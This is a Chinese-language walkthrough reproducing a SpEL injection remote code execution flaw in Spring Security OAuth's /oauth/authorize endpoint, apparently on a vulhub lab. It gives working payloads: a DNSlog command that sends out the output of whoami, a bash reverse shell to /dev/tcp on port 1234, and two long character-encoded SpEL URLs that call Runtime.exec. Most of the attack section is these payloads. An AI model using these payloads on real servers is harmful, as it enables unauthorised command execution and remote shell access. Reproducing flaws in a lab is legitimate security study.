利用条件

0x01 影响版本

Spring Security OAuth 1.0.0到1.0.5

Spring Security OAuth 2.0.0到2.0.9

Spring Security OAuth 2.0到2.0.14

Spring Security OAuth 2.1到2.1.1

Spring Security OAuth 2.2到2.2.1

Spring Security OAuth 2.3到2.3.2

0x02

默认登录账号密码 admin\admin

spring CORS漏洞 spring boot漏洞复现_el表达式

访问路径/oauth/authorize,会看到左上角有个绿色叶子的标志,一般都是spring或者springboot

spring CORS漏洞 spring boot漏洞复现_html_02

直接打poc,可以看到有spel表达式注入的形式2*3。那么后面我们验证getshell的方法就用这个el表达式来使用。
/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test

spring CORS漏洞 spring boot漏洞复现_spring CORS漏洞_03

一、验证漏洞存在(RCE)

这里需要dnslog.cnhttp://www.jackson-t.ca/runtime-exec-payloads.html

先用dnslog.cn获取一个dns地址

spring CORS漏洞 spring boot漏洞复现_el表达式_04

再把命令与dns结合在一起

curl `whoami`.kum7lu.dnslog.cn

在用http://www.jackson-t.ca/runtime-exec-payloads.html进行base64编码

对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)

spring CORS漏洞 spring boot漏洞复现_java_05

在vulhub的靶场内你可以看到一个poc.py,我们用python3 执行这个poc.py

spring CORS漏洞 spring boot漏洞复现_html_06

我们用python3 执行这个poc.py,并输入上面http://www.jackson-t.ca/runtime-exec-payloads.html编码后的命令输入这个poc.py,然后得到绿色部分的代码,

python3 poc.py

spring CORS漏洞 spring boot漏洞复现_el表达式_07

前面我们说了,可以利用这个spel表达式来进行操作,那么我们就把上面的2*3换成这部分绿色代码。然后执行。

http://192.168.100.23:8080/oauth/authorize?response_type=${${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(66)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(87)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(53)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(87)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(72)).concat(T(java.lang.Character).toString(85)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(53)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(57)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}}&client_id=acme&scope=openid&redirect_uri=http://test

执行后,spring就是这个样子。

spring CORS漏洞 spring boot漏洞复现_spring boot_08

再来刷新dnslog,成功执行

spring CORS漏洞 spring boot漏洞复现_java_09

二、getshell

还是一样的,只是把http://www.jackson-t.ca/runtime-exec-payloads.html进行编码这一步的执行代码换一下就好了。

这里我们就来反弹一个shell来试试
bash -i >& /dev/tcp/192.168.100.23/1234 0>&1

先监听1234端口

spring CORS漏洞 spring boot漏洞复现_spring CORS漏洞_10

http://www.jackson-t.ca/runtime-exec-payloads.html把反弹命令进行编码。

spring CORS漏洞 spring boot漏洞复现_spring boot_11

执行python3 poc.py并输入上面编码后的编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4yMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

spring CORS漏洞 spring boot漏洞复现_spring CORS漏洞_12

前面我们说了,可以利用这个spel表达式来进行操作,那么我们就把上面的2*3换成这部分绿色代码。然后执行。

http://192.168.100.23:8080//oauth/authorize?response_type=${${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}}&client_id=acme&scope=openid&redirect_uri=http://test

spring CORS漏洞 spring boot漏洞复现_spring boot_13

执行后成功反弹shell

spring CORS漏洞 spring boot漏洞复现_html_14